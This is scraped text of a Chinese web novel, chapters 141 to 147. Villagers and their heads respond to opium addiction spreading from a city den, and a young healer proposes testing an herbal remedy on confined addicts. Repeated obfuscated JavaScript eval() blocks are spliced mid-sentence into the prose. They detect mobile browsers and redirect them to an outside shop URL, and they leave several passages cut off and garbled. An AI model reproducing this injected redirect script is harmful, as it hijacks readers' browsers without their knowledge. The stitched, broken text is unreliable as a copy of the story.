听了许芷的话,里正抱着侥幸心理道:“这花钱的东西,谁会主动去啊,应该知道不去买就没事。” 许芷严肃道:“里正可知他们打着头次免费的旗号,已经不少人为这占便宜的心理,已深陷其中。” “什么?” 里正真没想到,他们竟然如此阴险。 许芷继续道:“咱们村子离城里远还好些,可若是咱们这边都能听到,那足以证明城里和周边的村里应该是已经不少人都染上了。” 里正自然是知道这些的,他明白这东西的危害之处。 “行,我知道了许丫头。” 里正已经没了心思待客,许芷也知趣的要走。 走之前还不忘跟里正讲:“若是有人已经染上,里正千万不要心慈手软,这种东西难戒,一定要把人关起来。” 里正沉重的点了点头,将许芷和邓耧子送走了。 看到许芷走了,一直躲在厨房的里正媳妇儿出来问道:“这许丫头还真是操心,这次来又是啥事儿啊?” 她收拾着桌子,等了半天不见丈夫回答,抬起头准备再问的时候,却见丈夫着急的出去了。 她不解的喊道:“这么晚了,有啥事儿不能明天办啊?” 可她的声音随着丈夫的身影没入了黑夜,她摇摇头,心想自己这个丈夫就是太负责了。 回家路上的邓耧子问许芷,“那阿芙蓉真的那么厉害吗?” 不怪他不清楚,因为严格管控的态度,本朝的百姓对这东西的危害并没有深刻的认知。 虽然知道前朝的惨剧,可是那也是听别人说的,本朝建立也上百年了,语言有的时候很匮乏,光是听到不足以让人警示。 人们需要看到,需要深刻的感受到这东西的危害。 第141章 集中看管 许芷闻言,没有继续说**,而是开口问舅舅。 “舅舅,那些跟你一起做工的人你看到了吧?那还只是前期,若是再严重......” 一阵风吹来,邓耧子打了个寒颤。 其他的他不清楚,单就那些人发作时浑身颤抖,像个饿死鬼一样急着要那东西的样子,都够他觉得心悸。 “小芷,我想我知道了。” 邓耧子叹了口气,将许芷送了回去。 到家的时候,正好刘喜英要带着孩子回去。 邓老太‘贴心’的让邓耧子送她们娘仨回去。 这正合邓耧子的心意,他喜翘翘的哎了声。 一把将笑笑举过头顶,放在了自己的肩膀上。 笑笑一点都没被他这突然的举动吓到,反而很高兴的抱着他的脑袋。 而小业看到小脸皱在一起,表达着自己的不满。 “邓叔,我也要。” 邓耧子笑呵呵道:“今晚我先扛着妹妹,明晚我再扛你好不?” 听到儿子的话,邓老太没有多想,只当是哄孩子的话。 她也笑着附和:“小业别生气,明日我让你邓叔去扛你,不扛我打他。” 听到这保证的话,小业虽然没有立刻喜笑颜开,但是勉强答应了。 他人小鬼大的说道:“那我们明日还来吃饭,这样就轮到邓叔扛我了。” 小业没想那么多,只想着来这吃饭,就能让邓叔送他们回去,只要送了他们,就能高高举起自己,骑在邓叔的肩膀上。 而刘喜英听到这话,着急的拉了一下儿子。 随即赔笑着跟邓老太解释道:“这孩子胡说的,我们明日不来。” 小业听不懂大人的弯弯绕,他不明白的反驳亲娘。 “来的娘,不来怎么让邓叔把我举起来骑大马?” 被儿子反驳后,刘喜英又气又急,伸出手就要打在儿子的背上。 邓老太见到赶紧护着小业,佯怒道:“喜英啊,不能打孩子啊,孩子又没说错,我现在郑重邀请你们娘仨明晚来我们家吃饭。 若是不来就是看不起我这个老婆子。” 最后一句话成功堵住了想要开口拒绝的刘喜英,她有些慌张的应下了。 邓老太、小业和笑笑都高兴了,邓老太眼见不早了,也不多说什么,让邓耧子赶紧把人都送回去。 回去的路上,刘喜英没跟儿子多说什么,她知道说了邓耧子也会劝她没什么。 不如等到了回家再说这些事。 三日后,许芷正在家里帮着孟雨往枕头里装荞麦壳,里正一脸凝重的过来了。 许芷见到交代孟雨兰赶紧把桌子上的东西腾一腾,她出去迎里正。 “里正,快进来坐着说。” 她顺手拿起旁边小炉子上的热水壶,给里正沏了茶。 里正摆摆手,“许丫头我就长话短说了,这几日我不仅在咱们村暗查了一下,也去其他村子通知里正一起查了下。 咱们村已经有两人染上,上坪村多些七八户,双羊村四五户,而高羊村距离最远,只是有人听过。 几个村的里正听到这个都紧张不已,没有的要防范,有的现在已经把人集中关了起来,关到戒掉为止。 除此之外,我们打算联合写一封**书给县太爷,让县太爷查封这个害人的烟馆。” 里正调查的内容,跟许芷预估的情况差不多,但是做法上略有不妥。 所以她开口先肯定道:“里正这事儿想的周全,**书更是应该的,只是把这些人关在一起不是很妥。” 里正疑惑道:“关在一起好看管,有何不妥呢?” 许芷缓缓道:“里正可听过前朝有菜人的说法?这可是这东西泛滥后才有的。 这种东西接触不到的时候,人会抓心挠肝,什么事情都做的出来,蚕食同类也不是没有先例。 接触过多迷了心智,也会如此,所以不能把人关在一起。” 闻言,里正脸色唰一下就白了,他着急的要走,要赶紧去分开这些人。 “许丫头,今日就先这样,我实在着急,就先走了。” 许芷明白这事儿的紧急性,所以她懂事道:“我明白,您快去吧。” 看着里正匆忙离开的背影,许芷深深的叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097542|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 孟雨兰听到外面没了动静,她抱着簸箕和枕头出来了。 两人又做起了枕头,只是明显孟雨兰心不在焉的。 弄了会儿针都扎进了手里。 “怎么这么不小心?” 许芷将她手里的针线和枕头拿过来。 刚刚许芷说的话,孟雨兰都听到了,她这人想得多。 若是按照许芷这么说,城里那些人只怕早就上了瘾,若还蚕食同类,城里现在跟人间炼狱有何异? 所以她止不住的会害怕。 就算她没在城里,光是想一想都觉得可怕。 “没什么,我就是胆小。” 她有些懊恼的说道。 闻言,许芷已经知道孟雨兰的意思了,她沉默片刻,开口道:“我们离城里远着呢,而且现在里正他们已经开始出手阻止了,肯定会越来越好的。” 孟雨兰扯起一抹笑,嗯了声。 许芷看得出来她还怕,但是她只能劝到这里了,剩下的要她自己想清楚。 若是如此,许芷想了想,打算提前把铺子打开。 但并不是卖自己那些东西,而是买缓解这些人成瘾症状的汤药。 至于能不能帮忙戒瘾还要试过之后才能知道。 想清楚之后,她根据这些人的症状,仔细想了想,配好了药方。 药方主要通过调和阴阳平衡、疏通气血的基础,用清热解毒、安神除烦等中药达到目的。 同时也可以辅以针灸和推拿等非药物治疗的方法。 只是她当时年龄尚小,针灸推拿只有书本上的理论,并未怎么实践过,她没有把握。 还是用药把握更高些。 次日,她一大早就拿着写好的药方去了城里。 她要买药熬一熬试试。 这药方也是她琢磨的结果,本朝在这方面几乎是空白,只能这样试着来。 许芷还未到城里,沿路已经看到了一些过度吸食的人,浑身黑青的躺在路边。 有些还活着,可身上的苍蝇多如牛毛。 看的她心里发麻,只能加快的速度,尽快进城。 第142章 大摇大摆 到了城里,距离她上次来城里不过月余,她敏锐的感觉到了一股死亡的气息在城里蔓延,尽管看起来街道上还如同从前那般热闹。 可是路边躺着的人变多了,街上的男**多看着都没什么精神。 许芷骑马还特意问了下路人逍遥馆在哪,她本以为这种害人的东西,应当开在人少的小巷子里。 可没想到问过才知道,竟开在闹市之中。 如此黑心的馆子,大摇大摆的蚕食城里的人,让许芷觉得脊背发凉。 她骑马到了逍遥馆外,远远看了一眼。 那是个简单的门头,黑青色的门匾上书“逍遥馆”三个字。 门前两个大红灯笼,红的那么刺眼。 外面的人排着队往里进,那黑色的木门好像是**的嘴,一个个的将那些精壮男人吞进去,最后吐出来一具虚弱的皮包骨。 许芷内心深受震撼,尤其是这一路走来,再看到逍遥馆外不顾一切前赴后继的人,她只觉得胸口闷得很。 正想着,突然有人叫自己。 “许姑娘?” 许芷转头去看,只见杜仲牵着运货的马车走过来。 他看到许芷高兴的上前,“还真是你啊许姑娘,好久不见了。” 许芷因为还在刚刚的情绪中,所以没什么表情的应和着:“是啊,好久不见。” 杜仲没察觉她的不对劲儿,还自顾自的说着:“哎呀,黄药师和三七老是提到姑娘呢,说姑娘今年不来制丸实在是太亏了,今年可是药量大增,你要是来还能给你涨工钱呢。” 许芷过了年就把制丸的工辞了,因为现在她药田弄得多,再弄制丸只怕是会耽误怀清堂的进度,所以只好算了。 她客气回道:“如今药田多了,忙些,顾不过来。” 杜仲点点头,他也听说了,许芷几乎将半个村子的田地都用来做药田,这可是大生意。 他恭维道:“可不是,许姑娘现在可是大老板了,不对,我得叫姑娘许老板才是。” 许芷摇摇头,自谦道:“嗐,都是跟村子里人一起赚点钱,谈不上什么老板。” 杜仲笑了,夸赞许芷真是谦虚。 随口问道:“许姑娘这是要去哪?” 许芷:“怀清堂,买些药。” 杜仲一听大喜,“那正好啊,我刚送完药膏回来,一起吧?” 许芷点了头,杜仲坐上了马车外面赶着,两人聊着天往药铺去。 很快就到了怀清堂,杜仲客气说道:“许姑娘马给我,你先进去买药,我去后院弄好马和马车就来。” 许芷微笑颔首,将缰绳交给了杜仲,进了药铺。 正好三七在前厅跟着黄药师学扎针,看到许芷来他一下就看到了。 本来认真学习的脸上瞬间扬起了笑脸,偷偷给许芷打招呼。 却被黄药师抓到他不认真,板着脸训斥了他两声。 他立刻变得乖巧,只是在黄药师看不见的时候,他又嬉皮笑脸的用口型给许芷说自己没事。 许芷笑着摇摇头,此时杜仲进来了。 “许姑娘,你要哪些药材啊?” 许芷转身跟着杜仲来到了柜台前,将写好的药单给到了杜仲。 杜仲看到之后,担心的问许芷:“许姑娘,你家里人**了?你没事吧?” “没事。” 许芷淡然道:“我经常上山,怕万一遇到了毒蛇不小心,所以想备点药。” 刚说完,一旁的黄药师闻言过来,板着脸说道。 “你这丫头,说辞就辞,让我这个小老头很是伤心啊。” 许芷转身先跟黄药师行礼,接着她笑着解释:“晚辈实在是忙的很,脱不开身,怕耽误了药师您的事这才辞去了这活计。” 闻言黄药师笑了笑,没了刚刚那严肃的样子。 “跟你这丫头说两句玩笑话,你看你吓得。” 许芷听到只是笑,没多说话。 黄药师顺手拿走了杜仲手里的药方。 “遇到毒蛇可不是小事,让老夫看看你开的方子成不成?” 说着认真看了起来。 而杜仲已经开始给许芷配药,一般配药都是按照定好的量,每一包有全部的药材。 这次许芷拦住了杜仲,开口道:“不必合在一起,一样药材一包,到时候急用的时候我会根据情况自己来配。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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里正:“双羊村从前有个练兵场,如今天下太平,练兵自然有更好的去处,那里就废了,但是那边场地大,房间多,关人是最合适不过的,打算几个村子联合起来,将人都关过去。 吃食由那几户人家共同兑,看管的人由我们几个里正在村里寻摸合适的,做饭的就找双羊村的,管吃一日给个十文的工钱足矣。” 许芷闻言点了点头,几个里正还是想的很周到的。 第143章 商量试药 里正说完,喝了刚才就晾上的一大碗茶,喝完问许芷来干啥。 “我来是想跟里正商量件事。”许芷将手里的药包放在了桌子上。 看到这么多药,里正心里隐隐有了猜测。 许芷继续道:“我彻夜想出了缓解那些人症状和戒瘾的药方,只是用药多少,是否能成,我不敢保证,我需要那些人来试。 只是......” 许芷没说完的话,里正心里清楚。 一旦试药那些人就算药奴,是要记录备档的,可是如今的情况,并不合适大张旗鼓的去做,容易造成人心惶惶的局面。 试药有风险,这些人的家里人也不一定同意。 可这些药也不能在正常人的身上试,只能是在这些人身上才有效。 里正点点头道:“我知道了,你别管了,这事儿我们几个里正商量,我到时候跟你说结果。” 许芷拱手弯腰跟里正行了大礼:“那就拜托了里正。” “你这孩子也是为了这些人好,真要行礼也该是我给你。” 里正把人扶起来说道。 “如今事态紧急,先不说这些。”许芷拿着药继续道:“那我就先走了。” 里正将人送走,刚转身进屋想到这事儿又焦头烂额的出去了。 而里正媳妇儿看到他才进来又走,着急的追了出去,也没追上。 “这人,到底忙啥呢一天天的。” 里正直接去了双羊村,去之前找了村里几个人去叫了其他村里的里正,要一起在双羊村的废练兵场见。 上坪村的里正一听害怕有什么急事赶紧去了,毕竟他们村子的人数最多,他实在是害怕出什么事儿。 但也不是所有里正都这么着急,高羊村的里正一听来人说又要去双羊村,他眼都要蹬出来了。 “啥?又去!” 他不明白他们村都没有一个,还跟着他们几个人乱来什么,三天跑三趟,累死个人了。 关键是商量不出个最终决定,一会儿这一会儿那的,真是白费劲儿。 他‘吧嗒吧嗒’的用力抽着手里的烟杆子,神色十分不耐。 摆摆手让前来报信的人先离开,而他坐在那一动不动。 他媳妇儿喂完鸡看他还坐着,疑惑问道:“不是有事儿要出去?怎么还在这。” 高羊村的里正谢乾面露烦躁:“我说那老张头就是没事找事,管好自己村得了,还真以为自己是个人物了,有点啥就来别人村指手画脚。” “行了行了,张叔也是为了咱们都好,单就上次蝗虫那事儿,要不是他来通知,只怕村里的粮食都要不保。” 谢乾媳妇儿温声规劝道。 自己这个丈夫就是性子急了点,别的没什么问题。 谢乾喘了口粗气,上次的事儿他也知道确实该感激那老张头,可就是烦得慌。 他又坐了半天,看着妻子温柔的看着自己等着。 不自觉身上的气消了大半,“我就是觉得咱们村没有,一而再再而三的跑,真是累的很。” 这话没错,双羊村和高羊村,虽然名字听着相似的,都是羊村。 可距离上确实最远,他跑一趟起码半个时辰,其他的人都没他远,这让他能不抱怨吗。 谢乾媳妇儿温柔一笑,上前软绵绵的靠在丈夫身上,声音轻而柔: “老谢,咱们村现在是没有,但是万一有哪些个不听话的真的沾染了,你如今去了听过经验,到时候不就可以直接用上,还省的你头疼,就去吧。” 最后一句柔的好像是羽毛般滑过心间,被这样温柔年轻的解语花一说,谢乾什么怨气都没了。 放下烟杆子,老老实实的出了门去赴约。 谢乾是几个里正中年龄最小的,不过三十多,正值壮年自然脾气大些。 好在娶了个小十几岁的媳妇儿,脾气虽火爆但有人开解,他这个里正干的也算是尽心尽责。 就是没少有人私下里编排他老牛吃嫩草。 别人以为**,实际上他都清楚。 但是他自觉自己没那么显老,跟媳妇儿站一边没那么大差距。 同时十几岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097544|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也不觉得差距大,城里的袁秀才,那才叫老牛吃嫩草,七十多还敢娶十六七的姑娘。 而且日子过成什么样,自己心里清楚,他和妻子蜜里调油,管他们怎么说呢。 双羊村,三个里正着急的等着谢乾过来。 上坪村的里正是个急性子,在屋子里走来走去,时不时的叹气、驻足、观望、叹气又走来走去。 转的剩下的两个里正眼都是花的。 双羊村的里正高富贵出声制止他:“我说许老弟啊,你就别转了,你年轻些经得起,我跟老张俩人眼都花了。” 许经年闻言停下,看向高富贵,嗫嚅着嘴唇,还没说什么,又是一声叹气。 “你说这老谢怎么还没来?咱们都等了半天了。” 张永仁,也就是下坪村里正解释道:“高羊村远,那小子再年轻也得走着来,别急。” 闻言许经年又是深深地叹气,依旧转来转去。 高富贵见阻止不了他,索性闭上了眼睛,头后靠在墙上,眼不见为净。 又过了一刻,谢乾终于到了。 别看他在家里暴躁不堪,真到了这里,他说的第一句话就是道歉。 “真是对不住了张叔、高叔、许叔,我这离得远,来的慢了些,让您三位久等了。” 说的时候还按照年龄给三位里正排了序。 许经年也顾不上听他道歉,着急道:“既然来了,就赶紧坐下听老张头说事儿。” 而张永仁年龄最大,他点了点头,跟着说了句:“无妨,来了就好。” 接着四人都坐好,张永仁开始说许芷的决定。 说之前,要先给许芷捞捞功。 “实话跟你们三位讲吧,这事儿最早不是我发现的,是我们村的许芷许丫头提醒的我,这才知道有这回事儿,赶紧通知你们。” 话音落下,高富贵和谢乾齐刷刷的将目光投到了许经年的身上。 许经年不好意思的吞了吞口水,脸色讪讪。 “看**啥,当初的事儿,你们又不是不清楚,我能咋办?” 第144章 不欢而散 许芷的事儿在几个村都不是秘密,许经年是许芷的堂伯,当年送她的事儿他不是没拦过,那真是拦不住啊。 他那个堂弟一家子无赖,他去了还没说什么,那一家竟想把许芷丢给他。 当时他还不是里正,家里条件也不好,几个孩子还养不过来,只能眼睁睁看着许芷被送到了下坪村。 看大家偏离了主题,张永仁出声拉回来。 “行了,这不是翻旧账的时候,我说这些是为了让你们知道,这都是许丫头的功劳,跟那蝗灾一样,没了许丫头,咱们指不定日子多难过。” 谢乾:“这我们知道张叔,但是您给这丫头盖这么高的帽子,不只是为了让我们知道吧?” “咳咳。” 既然谢乾这么说了,张永仁笑着清了清嗓子,说道:“那自然是有更好的事情要跟大家商量,咱们都知道那玩意儿多厉害,可是咱们谁都没办法解决,只能把他们关起来。 不过许芷这丫头是真行啊,她说她研究了药方,能想办法帮这些人戒瘾。” 此话一出最高兴的就是许经年,毕竟他们村的人数最多。 他激动的问道:“真的?” 张永仁有些得意的笑了笑,“那还能有假?” “没这么简单吧......” 谢乾幽幽来了句。 这虽然是好事,可若是能成,就依照老张头这性子,早就激动地把事情说完了,怎么会跟现在这样东拉西扯的先说些其他的话。 闻言,张永仁笑容里多了丝心虚,继续说道:“不过这东西你们都知道本朝管得严,有这种情况还是前朝的时候,所以本朝的药师们对这方面经验稍显那么不足。 所以......” “所以这丫头要在这些人身上试方子是吗?” 聪明的高富贵已经猜到了。 见挑明了,张永仁呵呵一笑,算是认了。 这提议谢乾倒是没意见,毕竟他们村没有,其实主要是看其他两位的意见。 而且这件事成了,万一他们村也有人这样,这边都试过了,直接就能用上,他没必要反对。 而剩下的俩人还在考虑。 许经年倒是想同意,可是他们村人最多,万一出了什么事儿,他可担待不起。 试了药那可是药奴,律法可是严格规定了,许芷又不是认证的药师,如何能做得? 这事儿一旦被捅出去,他们几个人都是要问责的。 他气势弱了些,说道:“这不合规矩吧?” 高富贵也不敢,他怕出事儿,没有把握的事情他真不敢干。 所以有人出了头,他也跟着说。 “确实不合规矩,要是有人告咱们,那可是一告一个准。” 张永仁有些着急:“那你们说这些人就这么关着?万一一直都不好,还能关一辈子? 村里人已经听到了些风声,到时候弄得大家都人心惶惶就好?” 许经年:“咱们不是写了**书,官府要是把那逍遥馆关了,村里这些人要是接触不到,总有一天会好。” 他尽量让自己的语气听起来轻松一些,让他们能同意自己。 高富贵也跟着附和。 而谢乾眼皮子一抬,不赞同的说道:“话不能这么说,总有一天是几天啊? 万一十几年都这奶奶样,你又不是没见他们发作起来那样子,前几日张叔还说了这些人急了什么都吃。 留这种隐患在村子里,其他人的安全怎么保证? 难道要大家日日在村里提心吊胆,防着他们突然发作吗?” 这话说完高富贵和许经年垂下眼皮不敢跟他们对视。 看着他们两个这怂样子,谢乾无所谓道:“反正俺们村一个这样的都没有,我不怕什么,你们两个村里人最多,到时候担惊受怕也是你们,跟我没关系,同不同意是你们俩事儿。” 说着站起来就要走。 张永仁赶紧把人叫住:“站住,你这孩子着急什么,事儿还没商量住呢。” 谢乾哼笑一声,下巴朝高富贵和许经年抬了抬。 “你看他俩是能商量下的样子吗?” 张永仁皱眉低声呵斥他不能这样没大没小,让他回来。 谢乾不耐的咂咂嘴,还是回来坐下了。 看着他坐下,张永仁又转头对那两人耐心道:“他说的对,后患无穷,谁能天天提心吊胆的过日子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097545|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说了许丫头你们总该相信些,这孩子对药上有一番自己的造诣,她并不是不清楚药方,只是用量上稍微需要斟酌,所以试个没几次就能成。” “那把这些人就这么关在这不也成?” 高富贵还是不愿意。 谢乾不屑哼笑一声,“说得轻巧,你能管他们一辈子吃喝拉撒?” 说话间,三人竟吵了起来,吵的张永仁一个脑袋两个大。 吵着吵着竟还想动手,张永仁眼见不对赶紧出手拦下,让他们消停些。 “说出去都是一个村的里正,村里的话事人,办起事来不说有商有量的怎么还想动手呢?” 张永仁生气的斥责三人。 谢乾不服还想说什么,但是被张永仁一个眼神看过去,只能安生了。 眼见今天商量不出个什么结果,张永仁只好退一步道:“既然大家意见不一致,那就给大家两日时间,回去好好想想。 两日后咱们再在这表态,若是还是不同意,我们村又不是没有这样的人,大不了我们自己弄,反正我同意了。” 高富贵和许经年一听这个好啊,就让他们村自己试,试出个结果了,他们直接照着用,还不用担责。 两人的嘴角还没翘起来就听到张永仁继续说:“只是到时候这试出来的方子仅有我们下坪村自己使用,绝不外传。 反正这药方只在许丫头手里,没人能看得懂,这丫头也不是多管闲事的人。” 这话已经说的很清楚了,把高富贵和许经年刚刚燃起的小九九给浇灭了。 无奈,这俩人只能同意先回去想想,四人不欢而散。 回去的路上,谢乾特意走得慢些,落到了张永仁的身边。 他亲切道:“张叔,两日后他俩要是还不同意,我仍旧同意,虽然我们村现在没这样的人,但是谁知道官府具体什么时候把那破馆子给关了。 要是我们村有了,也让你们试药。 要是我们村有之前,你们村的药试好了,那我也不能让你们白干,试药的药钱我跟你对一半,成不?” 张永仁看他一眼,嗯了声。 心想这小子年轻归年轻,但却是想得开。 第145章 情况危急 里正回了村没多久,许芷就去了家里问结果。 听到里正说没商量好,许芷点了点头没有太意外。 这种事情确实不是这么简单就能决定的,看到里正着急上火的样子,许芷宽慰道:“张爷爷,您能做的都已经做了,他们真的不愿意也没办法。 我们虽有心兼济天下,可若是他们不需要,我们只用独善其身即可。” 道理里正都懂,他就是怕他们守住了变好了,可是周边两个村子的人都没做好。 他们村子跟上坪村挨着,若是他们存在着隐患,下坪村真的能独善其身吗? 这点许芷当然也能想到,那些话不过是先开解里正。 而且许芷相信没过多久他们会主动来求着促成试药这件事,不是她希望发生不好的事。 而是这些人就如同开了盖的火引子,随时都有引燃一切的可能性。 所以她说道:“张爷爷别担心,事情一定很快就会有转机的,您已经尽力做好了。” 里正深深叹了口气,满脸抱歉的对许芷道:“是我这个里正没做好,你且回家等信儿,我一定尽力把这事儿促成。” 许芷知道她在这也无济于事,就离开回了家。 看着她离开的背影,里正心想他也希望有个转机,只是转机在哪呢? 有时候还真应了那句话:说曹操,曹操到。 里正正在家里发愁,双羊村的里正高富贵和上坪村的里正许经年慌慌张张的来找他。 他看到这两人来,立马收了焦头烂额的样子,面色淡定的摆起了谱。 故意问道:“呀?两位老弟怎么来了? 这才一日不到,着急什么。” 两人一听这个赶忙认错,尤其是许经年。 “我说老张啊,情况危急,你就别调笑我们哥俩了,出事了!” 一听这话张永仁好不容易摆出的淡定姿态,立刻维持不住了。 他急忙问怎么回事? 原来昨日他们四散之后,半夜上坪村有个出了名的壮汉许悍发作,直接撞开了门,焦躁不安下闯进了双羊村一户的后院里。 那家存了两年的钱,买了头小羊羔,被许悍给咬**。 早上那户人家起来去喂羊,看到许悍还在撕扯羊肉,身上嘴上全是血,茹毛饮血的样子把那户的媳妇儿直接吓晕了过去。 家里人听到尖叫声出来一看,也都吓坏了,谁也不敢上前去。 最后只好请了里正过来,高富贵一看这情况吓得腿都软了,赶紧派人去叫许经年过来。 两人最后找了几个胆子大的看他下了劲儿,偷偷敲昏了关了回去。 张永仁一听,不解问道:“不是安排了人看着?怎么还会这样?” 此话一出,高富贵立刻心虚的低下了头,他不自在的躲开了张永仁疑惑的眼神。 这还有啥不明白的,肯定是这几晚看都没事儿,也对这些人发作起来的样子没有一点的实感,所以偷懒没看管。 张永仁伸出手指,生气的指着他:“你呀,你让我说你什么好? 我们懈怠了还能心存侥幸,因为人不在我们村里关着,可是你松懈什么? 人都在你们村,你才是最应该警惕的那个,比谁都警惕才对。” 高富贵脸色讪讪:“张兄,如今说这个也晚了,事已经发生了,我也很后悔,之后我保证再也不可能放松警惕。 可重要的是要先解决眼前的问题才对。” 闻言,张永仁不说话,既然是这样,那就该他们先说。 看着张永仁沉默的样子,高富贵跟许经年对视一眼,两人都眼神示意对方先开口,但两人都不想先开口。 最后还是许经年败下阵来,毕竟人是他们村的,应该他说。 “张兄,我那侄女儿不是说要试药,不管成不成,死马当活马医,总比什么都不做的好。” “对对对。”高富贵也跟着道:“这许丫头有心,也有能力,既然如此,我们当里正的就该大力支持,这可是咱们都好的事儿。” 说话间,高富贵脑海里仍旧还有今早看到的那血腥的场面,腿肚子还一跳一跳的。 这次是羊,下次就真不一定是什么了。 所以他们一改之前那拒绝的态度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张永仁看着他们两个开口道:“十几个人,关在双羊村,吃什么喝什么? 还有这些人日日夜夜都需要人看着,派谁去?派几个人? 前几日都是让双羊村的人看着,那是因为咱们还没把事情声张出去,不好让本村的去。 可经过昨晚一事,这事儿定然已经被传了出去,我们该怎么跟村里人解释? 这些你俩都想过没?” 高富贵知道,张永仁能这样提出来,定然是已经想过了,要不然不会说的这么详细。 他拍着马屁开口道:“您是我们几个的老大哥,见多识广,当里正的年限也比我们俩人高多了,这种事儿您肯定更有经验,我们都听您的。” 虽然知道这话溜须拍马的成分更多,但是张永仁提出来就是为了说的。 于是他趁着高富贵的话往下说:“既然如此,我就说一说我的打算,你们两个听听,成的话就这样,不成的话咱们再商量。” 说完看着对面的两个人,看到两人都点头同意过,他才开口道: “首先我们要跟村里人一个交代,但是不能说**的事情,大家都是农户,胆子小,听到这个要么不清楚这有多严重,要么吓得日日惶恐,不如就说成那几人得了会传染的疫病,所以集中看管起来。 并且把得了疫病的缘由归在那逍遥馆身上,让其他人也不敢去,这样先约束住大家。 说成是疫病还有个好处,就是许丫头去试药也顺理成章,毕竟都知道这丫头对药很是熟悉。 不过对外不能说是试药,要说是去熬药的,毕竟熬药也是个技术活。” 这第一条,许经年和高富贵都同意,让他接着说。 张永仁继续道:“接着就是解决这十几个人吃喝拉撒的问题,吃喝好说咱们三个村子对粮食就行。 至于拉撒的问题,因为不能把他们放出来,所以要给他们一人买一个恭桶,趁着他们清醒的时候,两人结伴进去清理,一个人总归是危险的。 最后就是看管的问题,这也好说,前面说了这是因为得了疫病,跟村里人就说他们会发疯,需要人看管,所以——” “等等。” 张永仁正说着,被许经年抬手打断了。 “张兄,你都说这是个会传染的疫病,又会发疯,正常人谁有胆子不要命的敢去看管?” 张永仁被打断有些不爽,白他一眼还没说话,一旁的高富贵就接了过来。 “你傻啊老弟,重金之下必有勇夫。 而且,咱们可以买锁链把那些人的手脚绑上,增加安全性,需要人看管是真的,但咱们也不可能不顾及他们的安全啊。” 张永仁点了点头,肯定了高富贵的话。 “没错,我就是这么想的,就是还没说完呢。” 话音落下,他看向两人,不言而喻。 高富贵率先说自己没意见,这确实没啥好说的,张永仁考虑的已经很全面了。 到时候真遇到了什么问题,再商量解决呗。 许经年也跟着说道:“我也没意见,赶紧的吧,快去找我那侄女。” 三人商量住,急急忙忙的去了山坳。 许芷正在地里干活,远远地看到了三个人影过来。 其他两个没见过,但是里正她是认识的。 她扭过身跟祖母道:“祖母,你跟雨兰姐先忙着,里正找我有事。” “成,你去吧,这有我俩呢。” 邓老太伸手接过了她手里的锄头,让她过去。 许芷快速的去河边洗了个手,赶紧迎了上去。 “张爷爷,你怎么来了?” 张永仁没着急先说,而是给许芷介绍人。 他指着高富贵说:“这是双羊村的里正,你高爷爷。” 许芷闻言微笑颔首,客气又礼貌的叫人:“高爷爷。” 叫完之后便没了下文,她疑惑的看了眼另外那个人,不解里正怎么不介绍这位。 张永仁不介绍是因为觉得这是许芷的堂伯,就算是从小在下坪村长大,堂伯总不会不记得了吧。 而许经年也是这样的想法,所以他有些期待的眼神看着许芷,等着她叫自己大伯。 他们真是想多了,许芷真不知道他是谁,所以看到对方有些期待的样子,她眉眼间的不解更甚。 不过她似乎觉得这人长得有一点熟悉,好像她见过的谁,但是具体是谁还真想不起来。 张永仁看许芷真半天想不起来,只好自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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表情甚至没有一丝变化。 第147章 最佳药方 看到许芷这宠辱不惊的样子,许经年只觉得这个侄女真是厉害,亲爹成了那样都如此冷静,是个能成事的! 倒反衬的他小家子气了,他脸色讪讪,道:“没事了,咱们快走吧。” 出门前,许芷跟三位里正说:“我回房间拿药材,麻烦各位先等我一下。” 三人听了点点头,先出了门。 